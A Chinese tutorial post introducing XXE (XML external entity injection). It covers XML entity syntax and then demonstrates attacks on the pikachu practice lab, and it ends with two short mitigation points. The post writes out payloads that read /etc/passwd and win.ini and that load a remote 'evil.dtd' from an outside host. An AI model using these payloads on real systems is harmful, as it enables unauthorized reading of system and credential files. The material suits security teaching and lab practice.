【疑难攻关】——XXE漏洞快速入门

简介: XXE漏洞快速入门

作者名:Demo不是emo

主页面链接主页传送门  创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷  座右铭:不要让时代的悲哀成为你的悲哀  专研方向:网络安全,数据结构

每日emo:该怎么开口呢?今晚天气不错,但还是想你了

目录

一:初识XXE漏洞

1.XXE简介

2.XML概念

二:XML语法简析

1.XML基础语法

2.XML实体

[[1].XML的基本结构 ](#t6)

[[2].一般实体 ](#t7)

[[3].参数实体](#t8)

[[4].预定义实体](#t9)

[[5].内部实体和外部实体](#t10)

[[6].实例演示](#t11)

三:漏洞演示

1.漏洞明析

[[1].例一. ](#t14)

[[2].例二](#t15)

2.检测漏洞

3.漏洞利用

[[1].直接外部实体注入 ](#t18)

[[2].间接外部实体注入 ](#t19)

四:漏洞防范


1.XXE简介

XXE就是XML外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。

那有的小伙伴可能就会问了,那XML又是什么呢

2.XML概念

XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很像HTML语言。

但是XML和HTML有明显区别如下:  

XML 被设计用来传输和存储数据。

HTML 被设计用来显示数据。

1.XML基础语法

先来看一段简单的XML代码

<?xml version=’1.0’?>                   //声明XML解析器版本来解析<person>                             //根元素,不一定是person<name>test</name>                       //子元素,意思就是name变量的值是test

简单来说XML的语法中,标签就是变量名,标签里面的数据就是变量的值

但这里也存在一个问题,当数据里出现了尖括号时,就会造成XML数据的解析错误,如下

<name><admin<name>

所以xml语法中也对这种写法最初了规定,即

在XML中某些单独字符,如引号” ‘ & 和 尖括号 都是不允许直接出现在XML文档中(也就是不能直接用刚才那种写法保存这些带有这些单独字符的数据)的,因为XML 解析的时候会分辨不清这种输入到底是数值还是标签

那有什么办法能够保存这些带有特殊字符的数据呢?这就是下面我们要讲的实体

2.XML实体

上面的问题必须要解决,所以出现了实体Entity来解决这个问题 实体Entity是一种简单的存储单元就好比xml变量一样可以对它进行赋值﹐并在xml文档中不同的地方对他引用。实体在XML文档中的文档类型定义部分(DTD)被单独定义描述。

[1].XML的基本结构

上面有一些词可能大家还比较陌生,先简单介绍一些XML基本的结构,由XML声明,DTD部分,XML部分,三部分组成,示意图如下

DTD部分就是用来定义 XML 文档的合法构建模块的,继续往下看你就明白了

上面讲到了实体,我们继续来看看

而实体又分为三种,一般实体(通用实体),参数实体,预定义实体

[2].一般实体

一般实体的声明<!ENTITY 实体名称 "实体内容">

引用一般实体的方法:&实体名称;

来看看下面一段使用了一般实体的代码

<?xml version=’1.0’?>      // 声明XML解析器版本来解析

范围:普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。

[3].参数实体

参数实体的声明<!ENTITY % 实体名称  "实体内容">

引用参数实体的方法:%实体名称;

来看看下面一段使用了参数实体的代码,其实跟一般实体差不多知识%的区别

<?xml version=’1.0’?>       // 声明XML解析器版本来解析 %outer;                     //参数实体定义的变量必须先在dtd文件中引用

它必须定义在单独的DTD区域,这种实体相对灵活,这种功能在漏洞利用场景的外部实体注入(XXE)过程中非常有用

[4].预定义实体

这玩意在XXE漏洞中一般用不到,有兴趣的同学可以去简单了解一下,我这里就不讲了

[5].内部实体和外部实体

上面讲的那些都是内部实体,实体的值来源于内部,而外部实体顾名思义就是引用外部的值,两者的写法也差不多,外部实体仅仅是多了一个SYSTEM,给大家列了个表格这样大家可以更清楚一点,如下

注意:引入外部的DTD文件时,dtd文件中存放的就是xml代码,并且引用外部实体的时候还可以使用各种伪协议,而不是仅限于http协议

[6].实例演示

可能有些人还是比较迷糊, 下面分别给出一个内部实体外部实体的例子大家就能看懂了

来看一段内部实体的例子

<!ENTITY hack3r “hu3sky”>

再来看看外部实体

<!ENTITY  name SYSTEM “http://xx.com/aa.dtd”>

总结一下,内部实体就相当于自己编写DTD内容,而外部实体就相当于引入外部的DTD内容,类似于写JS代码时从外部引入JS文件,这样就能理解了吧,上面的一般实体和参数实体都可以化为外部实体

而XXE漏洞,就存在于外部实体中,我们将恶意代码写入DTD文件中再通过外部实体引入

1.漏洞明析

在这里在复习一下XXE漏洞是什么

       XXE漏洞就是XML外部实体注入。既然是外部实体注入,那么针对于XXE漏洞肯定就是XML外部实体了。 引入外部实体方式有很多种,比如: 实体ENTITY不仅能用来存储指定数值,他还能从本地文件或者远程文件中调用相关的数据作为后续实体引用。如外部实体(XML External Entity)就是其中之一。

下面举两个简单的外部实体攻击例子

[1].例一.

       <!ENTITY % d SYSTEM “file:///etc/passwd”>

此时c变量读取的值便是/etc/passwd文件的内容

但这种方式也有问题,就是会涉及到敏感内容,所以还有下面这种攻击方法

[2].例二

           <!ENTITY % d SYSTEM “http://abc.com/evil.dtd”><!ENTITY b SYSTEM “file://etc/passwd”>

该方法通过引入外部的DTD文件,而文件中同样是读取敏感文件的恶意代码,这样被检测的可能性就大大降低

2.检测漏洞

这里的漏洞环境我们使用的是pikachu这个靶场的XXE关卡,这个靶场应该都有吧,没有的也可以找我拿,打开该靶场的XXE关卡,如下

可以看到是一个输入框,提示可以接收xml数据

那我们该怎么判断是否存在XXE漏洞呢?其实就是看他是否能够解析XML数据,所以我们直接传入一段XML代码看他能否解析

我们放入下面这段代码

   [ <!ENTITY hacker "test"> ]>

这段代码都能看懂吧,就是给name变量赋了一个test值,把代码放到输入框中,点击提交,结果如下

成功提取到test数据,说明有可能存在XXE漏洞

3.漏洞利用

上面已经检测数来存在XXE漏洞了,那应该怎么利用呢,很简单,就是利用我们刚才讲到的,外部实体引用可以使用的——协议

这里也给大家准备了各种语言支持的协议 ,如下

[1].直接外部实体注入

直接外部实体注入,就是通过协议直接执行恶意命令

因为我是windows主机,这里我们以file协议来读取c:/windows/win.ini配置文件的内容,xml代码如下(注意这里的路径需要改变写法,不然会受到转义的影响)

   [ <!ENTITY hacker SYSTEM "file:///c://windows//win.ini">

将代码放入输入框提交,结果如下:

成功读取

[2].间接外部实体注入

这个也比较简单,就会将恶意代码写在DTD文件中,再引入DTD文件,操作如下

1.构造外部dtd文件

打开虚拟机,这里我选择的是kali,进入根目录,创建一个xxx.dtd的文件,内容如下

<!ENTITY hacker SYSTEM "file:///c://windows//win.ini">

2.使两台机器可以互相连接

这里直接打开apache服务就可以达到这个效果了,主要是为了使xml代码能成功引用到kali的dtd文件

3.构造XML代码

引用外部实体的xml代码如下(192.168..0.107是我的kali的ip地址),这里用参数实体给大家演示一下

   [ <!ENTITY % a SYSTEM "http:///192.168.0.107/xxx.dtd">

效果如下,成功读取

针对于XXE漏洞修复其实只有两点:  

  1、禁止使用外部实体,例如libxml disable_entity_loader(true) 。

  2、过滤用户提交的XML数据,防止出现非法内容。

相关文章
|
7月前
|
人工智能 编解码 芯片
告别低效沟通|让技术提问不再头疼-这套高效AI提问模板来帮你
不会向ai提问,不知道怎么提问的 可以看看
20781 1
告别低效沟通|让技术提问不再头疼-这套高效AI提问模板来帮你
|
1月前
|
数据采集 人工智能 算法
美团 LongCat 团队发布全模态一站式评测基准UNO-Bench:揭示单模态与全模态能力的组合规律
美团LongCat团队推出一站式全模态大模型评测基准UNO-Bench,首创“组合定律”揭示多模态能力协同增益,支持中文场景,以98%跨模态问题占比和创新多步开放式题型,科学评估模型真实融合能力。
459 5
|
Android开发
我的Android进阶之旅------&gt;adbd cannot run as root in production builds 的解决方法
今天用adb root命令时候,报了错误:adbd cannot run as root in production builds C:\Documents and Settings\Administrator>adb root adbd cannot ...
5183 0
|
安全 Java 数据库连接
【Java每日一题】——第三十四题:设计一个学生类Student和它的一个子类Undergraduate
【Java每日一题】——第三十四题:设计一个学生类Student和它的一个子类Undergraduate
|
供应链 定位技术 数据库
仓库选址问题【数学规划的应用(含代码)】阿里达院MindOpt
使用阿里云MindOpt工具,文章展示了如何解决仓库选址的数学规划问题。该问题涉及构建工厂以供应多个商店,考虑因素包括建设成本、库存成本、运输成本和需求量。MindOpt是一个优化求解器,能处理大规模数据的数学规划问题。通过声明集合、参数、变量、目标函数和约束条件,构建模型并求解,以最小化总成本。文中还提到了不同行业的应用场景,如农业、制造业、零售业和电商,并提供了视频讲解和代码示例。
|
存储 达摩院 供应链
混合整数线性规划-仓库选址问题-达摩院MindOpt
仓库选址问题是一个重要的运筹学问题,它涉及到在一个给定的地理区域中选择最佳的仓库位置以最小化总成本或者提高效率。仓库选址问题在现代物流和供应链管理中具有重要的应用,因为仓库的位置直接影响到货物的运输成本、交货时间和库存量等因素。
|
存储 编译器 C++
【Qt 元对象系统 02】深入探索Qt的元对象编译器:从原理到实践
【Qt 元对象系统 02】深入探索Qt的元对象编译器:从原理到实践
918 0
|
域名解析 tengine 安全
CDN的HTTPS配置及常见问题
本文主要介绍如何在阿里云CDN上配置HTTPS证书以及一些常见问题的解答。
4354 0
CDN的HTTPS配置及常见问题
|
机器学习/深度学习 自然语言处理 算法
最优化理论的三大非经典算法:模拟退火法、神经网络、遗传算法
最优化理论的三大非经典算法:模拟退火法、神经网络、遗传算法
712 0
|
关系型数据库 MySQL 数据库
基于Java+SpringBoot+Vue的校园交友网站的设计与实现
基于Java+SpringBoot+Vue的校园交友网站的设计与实现

热门文章

最新文章